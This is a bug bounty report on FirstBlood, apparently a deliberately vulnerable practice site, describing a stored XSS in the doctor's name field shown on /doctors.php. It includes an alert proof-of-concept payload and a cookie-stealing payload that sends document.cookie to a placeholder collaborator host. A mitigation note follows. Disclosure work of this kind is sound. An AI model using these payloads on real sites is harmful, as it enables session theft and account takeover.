FirstBlood-#1396 — Stored XSS on doctors.php
This issue was discovered on FirstBlood v3
On 2022-12-09, 0xblackbird Level 5 reported:
Summary:
Hi mate!
I hope you're doing great today!
I found a stored XSS vulnerability on /doctors.php
passed on from /drpanel/drapi/edit-dr.php
. The doctor's name parameter is reflected in the source code without being filtered or escaped correctly on /doctors.php
.
Possible cause:
The developers may have underestimated how XSS payloads can be formed and I suspect that it went wrong here with the regex. I checked if a value starts with a <
and ends with >
. If it matched, it encodes it.
Impact:
I was able to execute javascript code on any doctor's behalf. Even more, I was also able to steal the sensitive session cookie as it is not an HTTPOnly cookie. This allowed me to successfully take over the account of the doctor.
Steps to reproduce:
1) Go to /drpanel/edit-doctor.php?id=1
and submit the following payload as the doctor's name: "><svg onload="alert(document.domain)"
2) Next, visit /doctors.php
3) A popup should be displayed with the document's domain:
We can elevate our privileges by easily taking over the doctor's account as cookies are not set to be HTTPOnly. To do so, we could put the following payload in the phone parameter to steal and send the cookies back to us:
"><svg onload="location.href=`//{BURP_COLLABORATOR}/collector?cookies=${document.cookie}`"
Next, visit the endpoint again: /meet_drs.php
Upon visiting the URL (as the victim), we can see a hit with the cookies on our server:
Mitigation
I highly recommend encoding any user input and validating it before reflecting it in the response.
Kind regards,
0xblackbird
P2 High
Endpoint: /doctors.php
Parameter: name
Payload: "><svg onload="alert(document.domain)"
FirstBlood ID: 55
Vulnerability Type: Stored XSS
It is possible to achieve stored XSS on the /doctors.php endpoint via a malicious doctors name